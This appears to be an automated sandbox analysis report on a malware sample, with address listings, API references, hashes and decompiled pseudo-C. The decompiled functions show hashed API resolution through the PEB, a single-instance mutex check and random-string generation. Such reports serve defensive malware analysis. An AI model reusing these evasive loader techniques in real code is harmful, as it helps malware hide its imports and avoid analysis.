0x01914d6c
0x01914d6d
0x01914d73
0x01914d74
0x01914d7a
0x01914d7b
0x01914d81
0x01914d82
0x01914d88
0x01914d89
0x01914d8f
0x01914d90
0x01914d96
0x01914d9c
0x01914da2
0x01914da3
0x01914da9
0x01914daa
0x01914db0
0x01914db1
0x01914db7
0x01914db8
0x01914dbe
0x01914dbf
0x01914dc5
0x01914dc6
0x01914dcc
0x01914dcd
0x01914dd3
0x01914dd4
0x01914dda
0x01914ddb
0x01914de1
0x01914de2
0x01914de8
0x01914de9
0x01914def
0x01914df5
0x01914dfb
0x01914dfc
0x01914e05
0x01914e06
0x01914e0f
0x01914e10
0x01914e19
0x01914e1a
0x01914e23
0x01914e24
0x01914e2d
0x01914e2e
0x01914e37
0x01914e38
0x01914e41
0x01914e42
0x01914e4b
0x01914e4c
0x01914e55
0x01914e56
0x01914e5f
0x01914e60
0x01914e69
0x01914e6a
0x01914e73
0x01914e7c
0x01914e85
0x01914e86
0x01914e8f
0x01914e90
0x01914e99
0x01914e9a
0x01914ea3
0x01914ea4
0x01914ead
0x01914eae
0x01914eb4
0x01914eb5
0x01914ebb
0x01914ebc
0x01914ec2
0x01914ec3
0x01914ec9
0x01914eca
0x01914ed0
0x01914ed1
0x01914ed7
0x01914ed8
0x01914ede
0x01914ee4
0x01914efc
0x01914f01
0x01914f03
0x01914f1c
0x01914f21
0x01914f23
0x01914f2b
0x01914f43
0x01914f5c
0x01914f61
0x01914f63
0x01914f6e
0x01914f86
0x01914fa2
0x01914fa7
0x01914fa9
0x01914faf

APIs

LoadLibraryW.KERNELBASE(?), ref: 01914F01
LoadLibraryW.KERNELBASE(?), ref: 01914F21
LoadLibraryW.KERNELBASE(?), ref: 01914F61
LoadLibraryW.KERNELBASE(?), ref: 01914FA7

Memory Dump Source

Source File: 00000003.00000002.673844777.0000000001911000.00000040.00000001.sdmp, Offset: 01910000, based on PE: true

Associated: 00000003.00000002.673840910.0000000001910000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.673850068.0000000001916000.00000002.00000001.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6332896d6378705a3d74b71e4a0894ed10d7db9dedd0a04a5387eb467bfb55ef
Instruction ID: 05de122a9071c8e0b6011bd462cd600924b4655e02894714eccb1f26882f05e4
Opcode Fuzzy Hash: 6332896d6378705a3d74b71e4a0894ed10d7db9dedd0a04a5387eb467bfb55ef
Instruction Fuzzy Hash: 55A1F815A6034898EBA0DBF8B811BBD63F5AF88B10F20545BD60CDF2E4E67509D0D75A

Uniqueness

Uniqueness Score: -1.00%

Function 01912D3E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E01912D3E(void* __ebx, signed int __edx, void* __esi, void* __eflags) {
				signed int _v8;
				void* _v12;
				void* __edi;
				signed int _t14;
				void* _t15;
				void* _t17;
				signed int _t21;
				void* _t22;
				void* _t29;
				signed int _t30;
				void* _t43;
				void* _t53;
				void* _t55;
				void* _t59;
				void* _t64;
				signed int _t66;
				void* _t71;
				void* _t90;
				void* _t91;
				void* _t92;
				void* _t93;

				_t66 = __edx;
				_t14 =  *0x1911084; // 0xd
				_push(__esi);
				_t15 = E01912C71(2 + _t14 * 2, __eflags);
				_t91 = _t90 - 0x10;
				_t76 = _t91;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				E01915014(_t15, _t91);
				_t92 = _t91 + 0x10;
				_t17 = E01914AB1(_t15, 0x1911080);
				_t83 = _t17;
				_t48 = _t17;
				if(E01914958(_t17, _t91) != 0x22e6ee79) {
					__ecx = 2;
					__eax = E01914FB0(__ecx);
					__edx = 0xf7a461d7;
					__ecx = __eax;
					E01911ACC(__ecx, 0xf7a461d7) =  *__eax(0);
				}
				E01914A26(_t83);
				L1();
				L1();
				_t21 =  *0x1911154; // 0x14
				_t22 = E01912C71(2 + _t21 * 2, __eflags);
				_t93 = _t92 - 0x10;
				_t43 = _t22;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				E01915014(_t43, _t93);
				_t92 = _t93 + 0x10;
				_push(_t43);
				_push(0);
				_push(0);
				_t53 = 2;
				E01911ACC(E01914FB0(_t53), 0x6cb5c7d4); // executed
				CreateMutexW(??, ??, ??); // executed
				_t55 = 2;
				_t29 =  *((intOrPtr*)(E01911ACC(E01914FB0(_t55), 0xb7bf6c92)))();
				__eflags = _t29 - 0xb7;
				if(_t29 == 0xb7) {
					_push(0);
					_t64 = 2;
					E01911ACC(E01914FB0(_t64), 0xf7a461d7); // executed
					ExitProcess(??);
				}
				_t30 =  *0x1911154; // 0x14
				_t48 = _t43;
				_t66 = 2 + _t30 * 2;
				_push(_t48);
				_push(_t48);
				_v8 = _t66;
				_t71 = _t48;
				_v12 = _t71;
				memset(_v12, 0, _v8 << 0);
				_push(_t71);
				_push(0);
				_t59 = 2;
				_push( *((intOrPtr*)(E01911ACC(E01914FB0(_t59), 0xa7f8c4d2)))());
				return  *((intOrPtr*)(E01911ACC(E01914FB0(1), 0x8c3f7d4c)))();
			}

0x01912d3e
0x01912d3e
0x01912d44
0x01912d4d
0x01912d52
0x01912d5a
0x01912d60
0x01912d61
0x01912d62
0x01912d63
0x01912d64
0x01912d69
0x01912d6e
0x01912d73
0x01912d75
0x01912d81
0x01912d87
0x01912d88
0x01912d8d
0x01912d92
0x01912d99
0x01912d99
0x01912d9d
0x01912da4
0x01912db7
0x01912dbc
0x01912dc8
0x01912dcd
0x01912dd7
0x01912ddb
0x01912ddc
0x01912ddd
0x01912dde
0x01912ddf
0x01912de4
0x01912de9
0x01912dea
0x01912deb
0x01912dee
0x01912dfb
0x01912e00
0x01912e04
0x01912e16
0x01912e18
0x01912e1d
0x01912e1f
0x01912e22
0x01912e2f
0x01912e34
0x01912e34
0x01912e36
0x01912e3b
0x01912e3d
0x01912cf6
0x01912cf7
0x01912cf8
0x01912cfb
0x01912cfe
0x01912d09
0x01912d0b
0x01912d0c
0x01912d10
0x01912d26
0x01912d3d

APIs

CreateMutexW.KERNELBASE(00000000,00000000,00000000), ref: 01912E00
ExitProcess.KERNEL32(00000000), ref: 01912E34

Strings

y", xrefs: 01912D7C

Memory Dump Source

Source File: 00000003.00000002.673844777.0000000001911000.00000040.00000001.sdmp, Offset: 01910000, based on PE: true

Associated: 00000003.00000002.673840910.0000000001910000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.673850068.0000000001916000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateExitMutexProcess
String ID: y"
API String ID: 3437166654-3825964923
Opcode ID: 0046621e63a0d561f6a549d9bcd36449481584acc868e8ba34f1e3ca0ee71b8c
Instruction ID: 5f5babb5e7a25f5126f7e4e7d667d51941c15abc6ac3f800003bb200e8c9de6b
Opcode Fuzzy Hash: 0046621e63a0d561f6a549d9bcd36449481584acc868e8ba34f1e3ca0ee71b8c
Instruction Fuzzy Hash: 3D21FC62B0061A6BDB14BBBC5859B6F26C65BD5210F110838EB0D8F38DDE658D8483C0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01914B1E, Relevance: 1.3, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E01914B1E(signed int __ecx, signed int __edx, void* __eflags) {
				signed int _v8;
				signed int _v12;
				void* __edi;
				signed int _t24;
				signed int _t26;
				signed int _t27;
				void* _t36;
				void* _t37;
				signed int _t42;
				void* _t48;
				signed int _t51;
				void* _t52;
				signed int _t54;
				void* _t56;

				_push(__ecx);
				_t24 =  *0x19110d4; // 0x3e
				_v12 = __ecx;
				_v8 = __edx;
				_t37 = E01912C71(2 + _t24 * 2, __eflags);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t26 = E01915014(_t37, _t56 - 0x10, _t48, _t52, _t36, __ecx);
				_t54 = _v8;
				_t42 = 0;
				if(_t54 != 0) {
					_t51 = _v12;
					do {
						_v8 = _v8 & 0x00000000;
						_push(_t26);
						asm("rdtsc");
						_v8 = 0x00269ec3 + _t26 * 0x000343fd >> 0x00000010 & 0x00007fff;
						_v12 = 0x3e;
						_t26 =  *((intOrPtr*)(_t37 + _v8 % _v12 * 2));
						 *(_t51 + _t42 * 2) = _t26;
						_t42 = _t42 + 1;
						_t61 = _t42 - _t54;
					} while (_t42 < _t54);
				}
				_t27 =  *0x19110d4; // 0x3e
				return E01912CF3(_t37, 2 + _t27 * 2, _t61);
			}

0x01914b21
0x01914b23
0x01914b2a
0x01914b35
0x01914b47
0x01914b4b
0x01914b4c
0x01914b4d
0x01914b4e
0x01914b4f
0x01914b54
0x01914b5a
0x01914b5e
0x01914b60
0x01914b63
0x01914b63
0x01914b67
0x01914b68
0x01914b7d
0x01914b86
0x01914b90
0x01914b94
0x01914b98
0x01914b99
0x01914b99
0x01914b63
0x01914b9d
0x01914bb4

Strings

>, xrefs: 01914B86

Memory Dump Source

Source File: 00000003.00000002.673844777.0000000001911000.00000040.00000001.sdmp, Offset: 01910000, based on PE: true

Associated: 00000003.00000002.673840910.0000000001910000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.673850068.0000000001916000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: 812861d54ad55a25f49c1136994436955755780a7912b2f0a31ba39f9f25e7c1
Instruction ID: dfc4696d8960c7a7bde148786f889604ee28dac0d2443952a490689b2e29438f
Opcode Fuzzy Hash: 812861d54ad55a25f49c1136994436955755780a7912b2f0a31ba39f9f25e7c1
Instruction Fuzzy Hash: 56110472E10109ABDB05EF9CD5817ADB7B9EF84310F1004B9D505DB308DAB0AF80C790

Uniqueness

Uniqueness Score: -1.00%

Function 01914958, Relevance: .1, Instructions: 86
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E01914958(signed short* __ecx, void* __edi) {
				unsigned int _t9;
				signed int _t38;
				unsigned int _t39;
				signed int _t41;
				signed int _t44;
				unsigned int _t46;
				signed int _t54;
				signed int _t58;
				void* _t59;
				void* _t61;
				signed short* _t63;

				_t63 = __ecx;
				if(__ecx == 0) {
					L12:
					return 0;
				}
				_t38 = E01914A26(__ecx);
				if(_t38 == 0) {
					goto L12;
				}
				_t44 = 0;
				_t39 = _t38 >> 2;
				_t58 = _t38 & 0x00000003;
				if(_t39 == 0) {
					L4:
					_t59 = _t58 - 1;
					if(_t59 == 0) {
						_t46 = _t44 + ( *_t63 & 0x000000ff) ^ _t44 + ( *_t63 & 0x000000ff) << 0x0000000a;
						_t9 = _t46 >> 1;
						L10:
						_t44 = _t46 + _t9;
						L11:
						return ((((_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) ^ (_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) << 0x00000004) + (((_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) ^ (_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) << 0x00000004) >> 0x00000011) ^ ((_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) ^ (_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) << 0x00000004) + (((_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) ^ (_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) << 0x00000004) >> 0x00000011) << 0x00000019) >> 6) + (((_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) ^ (_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) << 0x00000004) + (((_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) ^ (_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) << 0x00000004) >> 0x00000011) ^ ((_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) ^ (_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) << 0x00000004) + (((_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) ^ (_t44 ^ _t44 << 0x00000003) + ((_t44 ^ _t44 << 0x00000003) >> 0x00000005) << 0x00000004) >> 0x00000011) << 0x00000019);
					}
					_t61 = _t59 - 1;
					if(_t61 == 0) {
						_t46 = _t44 + ( *_t63 & 0x0000ffff) ^ _t44 + ( *_t63 & 0x0000ffff) << 0x0000000b;
						_t9 = _t46 >> 0x11;
						goto L10;
					}
					if(_t61 != 1) {
						goto L11;
					}
					_t46 = _t44 + ( *_t63 & 0x0000ffff) ^ ((_t63[1] & 0x000000ff) << 0x00000002 ^ _t44 + ( *_t63 & 0x0000ffff)) << 0x00000010;
					_t9 = _t46 >> 0xb;
					goto L10;
				} else {
					goto L3;
				}
				do {
					L3:
					_t41 = _t63[1] & 0x0000ffff;
					_t54 = _t44 + ( *_t63 & 0x0000ffff);
					_t63 =  &(_t63[2]);
					_t44 = (_t54 ^ (_t41 ^ _t54 << 0x00000005) << 0x0000000b) + ((_t54 ^ (_t41 ^ _t54 << 0x00000005) << 0x0000000b) >> 0xb);
					_t39 = _t39 - 1;
				} while (_t39 != 0);
				goto L4;
			}

0x0191495a
0x0191495e
0x01914a21
0x00000000
0x01914a21
0x01914969
0x0191496d
0x00000000
0x00000000
0x01914976
0x01914978
0x0191497b
0x01914980
0x019149a6
0x019149a6
0x019149a9
0x019149ec
0x019149f0
0x019149f2
0x019149f2
0x019149f4
0x00000000
0x01914a1e
0x019149ab
0x019149ae
0x019149d9
0x019149dd
0x00000000
0x019149dd
0x019149b3
0x00000000
0x00000000
0x019149c6
0x019149ca
0x00000000
0x00000000
0x00000000
0x00000000
0x01914982
0x01914982
0x01914985
0x01914989
0x0191498d
0x0191499f
0x019149a1
0x019149a1
0x00000000

Memory Dump Source

Source File: 00000003.00000002.673844777.0000000001911000.00000040.00000001.sdmp, Offset: 01910000, based on PE: true

Associated: 00000003.00000002.673840910.0000000001910000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.673850068.0000000001916000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b2e29f045471c8d93337d88824151eeddbcdce0488570b14e04e15a172d897
Instruction ID: 29a6ffe818af62927963412c9187b48068b3a54e25ece92e9e6a4ae442883d4a
Opcode Fuzzy Hash: f9b2e29f045471c8d93337d88824151eeddbcdce0488570b14e04e15a172d897
Instruction Fuzzy Hash: B3118262F1182A0BB3A8D57D8D4423255C797DC54230DC635EA9CC738CFA24DAA3D280

Uniqueness

Uniqueness Score: -1.00%

Function 01911AB8, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01911AB8() {

				return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)))))) + 0x18));
			}

0x01911acb

Memory Dump Source

Source File: 00000003.00000002.673844777.0000000001911000.00000040.00000001.sdmp, Offset: 01910000, based on PE: true

Associated: 00000003.00000002.673840910.0000000001910000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.673850068.0000000001916000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Function 01911AA6, Relevance: .0, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01911AA6() {

				return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)))) + 0x18));
			}

0x01911ab7

Memory Dump Source

Source File: 00000003.00000002.673844777.0000000001911000.00000040.00000001.sdmp, Offset: 01910000, based on PE: true

Associated: 00000003.00000002.673840910.0000000001910000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.673850068.0000000001916000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92737c4d31cfb72025dec89eae0fb42358f12c3dfe317aacb3237dbb5ec58c0
Instruction ID: d8bc9acd7da5fb0c73b53ea44bd5ea9bf3d426c042c7258b91cd9e99573d7f24
Opcode Fuzzy Hash: c92737c4d31cfb72025dec89eae0fb42358f12c3dfe317aacb3237dbb5ec58c0
Instruction Fuzzy Hash: E9C00839661940CFCA55CF08C194E00B3F4FB59760B068491E905CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exe PID: 6632 Parent PID: 968 powershell.exeCOMMON

Executed Functions

Function 00007FFA35B01618, Relevance: 2.9, Strings: 2, Instructions: 417COMMON

Download Yara Rule

Strings

1, xrefs: 00007FFA35B2A4D7
m, xrefs: 00007FFA35B2A36A

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: 1$m
API String ID: 0-402893558
Opcode ID: 296e7c975ed77b922235c96ebf5ea4b96cbbd7c2d08bead2eda1438946945a31
Instruction ID: 3da4f9fb437841930febfaaddcf86397ef64d9de1cb497a8a3cd74581140d8be
Opcode Fuzzy Hash: 296e7c975ed77b922235c96ebf5ea4b96cbbd7c2d08bead2eda1438946945a31
Instruction Fuzzy Hash: CAE1F57190874A8FE799DF28C8567A5B7E1FF5A700F5041FDE04DC3282DE3969828B42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B01CAA, Relevance: 2.2, Strings: 1, Instructions: 951COMMON

Download Yara Rule

Strings

%`_^, xrefs: 00007FFA35B01CB1

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: %`_^
API String ID: 0-1334802008
Opcode ID: c9490c0e103345c91ff2829d1bcbb6aef48bb7871e775f6ac903e8d6cc97581c
Instruction ID: 4cfd8af8814cd2644af9c8463a1e5e9d74bd3747fcce33ee9d54edd9474c611a
Opcode Fuzzy Hash: c9490c0e103345c91ff2829d1bcbb6aef48bb7871e775f6ac903e8d6cc97581c
Instruction Fuzzy Hash: E8524C61A1CA864FE75CAB2CE4562B577D1FF56B10F5481BDE04DC32C3EE29E8068782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B00358, Relevance: 1.0, Instructions: 967COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75faa4de9f770d9dc9df7f831799031186d6d41db84e8bc39a58dc347916c621
Instruction ID: 58f4551f92db0667e2a41e1aaf53a3e94b299cd182340c1e5b4cd29c9ee56b31
Opcode Fuzzy Hash: 75faa4de9f770d9dc9df7f831799031186d6d41db84e8bc39a58dc347916c621
Instruction Fuzzy Hash: 2A521961E0CB878FE7999B2C98151787BE2EF86610B4881FED44EC71D3ED19AD4183C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF6662, Relevance: .6, Instructions: 571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79bb1223e50e421470fc0530874e52617668c885ebf0d58977a5ac0c9c280ec7
Instruction ID: a6fa5f28a808ed33b94ad508d539237222e64d4b3eb4cd551cfae198748a490b
Opcode Fuzzy Hash: 79bb1223e50e421470fc0530874e52617668c885ebf0d58977a5ac0c9c280ec7
Instruction Fuzzy Hash: 90022B30A19B4A8FE799EB6C88566757BE2EF5B700F5481BED00DC72A7CD259C02D780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF6695, Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21320fd34c4908d804945eb0d42dcc6022f825a00fb62cda39ce095e9914dce5
Instruction ID: 8d75fb3a97ec964333fa62eba73a646e88ed6b139a72a1d56e4e58fdd8b696eb
Opcode Fuzzy Hash: 21320fd34c4908d804945eb0d42dcc6022f825a00fb62cda39ce095e9914dce5
Instruction Fuzzy Hash: 76A1FA30A1DB8A8FE759EB6C88566B57BE1FF5B700F5481BAD00DC7297CE259802D780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B0074F, Relevance: 2.8, Strings: 2, Instructions: 297COMMON

Download Yara Rule

Strings

"3:, xrefs: 00007FFA35B00836
C?`_^, xrefs: 00007FFA35B009DF

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: "3:$C?`_^
API String ID: 0-2976499096
Opcode ID: 6035c218caf7eff865bf9f9d266289f4a393d389f0a66aedfbfb74c81a318dd7
Instruction ID: bed72ed40ed2bfad207ae43f6815f52f1644f836cc25e03dfc59fc2a1723eefe
Opcode Fuzzy Hash: 6035c218caf7eff865bf9f9d266289f4a393d389f0a66aedfbfb74c81a318dd7
Instruction Fuzzy Hash: 4D71391B7485564EE611BB7DB8420E9BBE0FF867317204077D18CCA093EE54648F87E5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B00380, Relevance: 2.0, Strings: 1, Instructions: 762COMMON

Download Yara Rule

Strings

'x_H, xrefs: 00007FFA35B18CAD

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: 'x_H
API String ID: 0-57145674
Opcode ID: cd72fbd647648cbc4ea0b836fbfd313d7fbd0b876f77fb84cdb0813a23b23a70
Instruction ID: 4e72d2c768d10867f1d9b9665474be1fcc4f5ad36912bda2066d49e7e66be9c1
Opcode Fuzzy Hash: cd72fbd647648cbc4ea0b836fbfd313d7fbd0b876f77fb84cdb0813a23b23a70
Instruction Fuzzy Hash: 3132F571E0DB4B8FE7A99B1CC45167477E1FF56710B5881BEE40EC7192EE2AA9018382

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B0309D, Relevance: 1.9, Strings: 1, Instructions: 685COMMON

Download Yara Rule

Strings

__H, xrefs: 00007FFA35B03674

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: __H
API String ID: 0-161210562
Opcode ID: 172ae286176d602c9120c994165c194f3bf08b6cdd74906c4da8599cd3397bd7
Instruction ID: f572db242b8938a86b6271eeb20526f4f9b506a141aaaf53a95418b3a955920c
Opcode Fuzzy Hash: 172ae286176d602c9120c994165c194f3bf08b6cdd74906c4da8599cd3397bd7
Instruction Fuzzy Hash: 4D22F774A08A4A8FF785EB6CC8867B9B7F1FF5A700F5481B5D04CC728ADE246C468B51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B10290, Relevance: 1.9, Strings: 1, Instructions: 669COMMON

Download Yara Rule

Strings

4__H, xrefs: 00007FFA35B105DF

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: 4__H
API String ID: 0-2093568350
Opcode ID: 03562c93f97e5a50b68dd0a02cae249a99898f1df54130324ad721250c49aa99
Instruction ID: 8187634036567333b24f542a029e3907e6d7b2ccf8e78950a437ad58132b27b4
Opcode Fuzzy Hash: 03562c93f97e5a50b68dd0a02cae249a99898f1df54130324ad721250c49aa99
Instruction Fuzzy Hash: B012B130A1CA4E8FEB94EF1DD44567977E1FF9A700F4481BAE40DC7296EE25E8428781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B012D0, Relevance: 1.9, Strings: 1, Instructions: 663COMMON

Download Yara Rule

Strings

]_L, xrefs: 00007FFA35B24C5F

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: ]_L
API String ID: 0-225636533
Opcode ID: e34b2df155d664b49f2d1bad456021e943426385756e28f353eb03e6bfc69de7
Instruction ID: 4c24ede84a2e9939092b1dbb7d5edda22a4a55938085bdd5ce708201bd2ae3d0
Opcode Fuzzy Hash: e34b2df155d664b49f2d1bad456021e943426385756e28f353eb03e6bfc69de7
Instruction Fuzzy Hash: B1125B3060C9464FEB6CEF1CE855BA833D1EF59700F1481BEE44EC76A7DE25AC429686

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B02BD0, Relevance: 1.8, Strings: 1, Instructions: 528COMMON

Download Yara Rule

Strings

sa, xrefs: 00007FFA35B02DAE, 00007FFA35B02DBB

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: sa
API String ID: 0-3667324775
Opcode ID: 55887e5dc744617facace645e54fb9a3d1e4389d5f9ea73cbf3ede491bb82ee2
Instruction ID: 22f54bc86d0b326398c4309cd4bd6d41e7693a17a29a49b2e05a89fcc9b35183
Opcode Fuzzy Hash: 55887e5dc744617facace645e54fb9a3d1e4389d5f9ea73cbf3ede491bb82ee2
Instruction Fuzzy Hash: 7BF1B335608E068FDB58FB2CD4529A5B3E1FFA971075481BAE04EC72A7DE24FC468781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B12660, Relevance: 1.8, Strings: 1, Instructions: 521COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFA35B129BB

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 7b3be2ad5ae9ab4f33587ae21400091e5633748520d1f927ae49d544b0ff7c59
Instruction ID: 3e3a8e3748372c86c3a47b22eadf2162088eb02f3ac00c14c0ea1ff92e2f1a90
Opcode Fuzzy Hash: 7b3be2ad5ae9ab4f33587ae21400091e5633748520d1f927ae49d544b0ff7c59
Instruction Fuzzy Hash: D5F1A030A18B4A4FD7A8DF18C481666B3E1EF95710F54897DD08EC7696EE35F882C782

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B09F88, Relevance: 1.7, Strings: 1, Instructions: 470COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFA35B0FB31

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: c32f2b0a70d2e8052109dcbeb56299fba09ff512c2bd53683cde205fb2f7a570
Instruction ID: 2679faa0d0d7f8e43769e85c073c6306426fb6a37caeb95e596755587dde08ec
Opcode Fuzzy Hash: c32f2b0a70d2e8052109dcbeb56299fba09ff512c2bd53683cde205fb2f7a570
Instruction Fuzzy Hash: F4E1AF30A18B064FD768EB1CD481576B3E1FF9A710B54867DD48EC3696EE26F8438B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35AF4E40, Relevance: 1.6, Strings: 1, Instructions: 382COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFA35AFF9D1

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 0030fa4d3c4bf68a0993ff99852469f9949455a22b1388448165c2d5cf723146
Instruction ID: 2856e3ad9aa82e1a53725b209527d10f38952021f654a1aa1f5c922e027c413b
Opcode Fuzzy Hash: 0030fa4d3c4bf68a0993ff99852469f9949455a22b1388448165c2d5cf723146
Instruction Fuzzy Hash: 97C11130A18B4A4FD769EB2CC885971B7E1FF56310B50867ED49EC3696DE26F842C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA35B07AA3, Relevance: 1.5, Strings: 1, Instructions: 298COMMON

Download Yara Rule

Strings

sa, xrefs: 00007FFA35B07C59, 00007FFA35B07CA3

Memory Dump Source

Source File: 00000004.00000002.912720348.00007FFA35AF0000.00000040.00000001.sdmp, Offset: 00007FFA35AF0000, based on PE: false

Similarity

API ID:
String ID: sa
API String ID: 0-3667324775
Opcode ID: 4d4b009015041e7d9df846d4af3da1e66fa56b9fa0166fa690707b981c41f3d6
Instruction ID: 233d2b498516192c067f4dbaeca73da8438b41f57e71136e413724473613e6ab
Opcode Fuzzy Hash: 4d4b009015041e7d9df846d4af3da1e66fa56b9fa0166fa690707b981c41f3d6
Instruction Fuzzy Hash: 3081D521B18A0A4FE754FB3CD4566B6B3D1EF96710B54C5BAD04EC32D7EE28A8478381

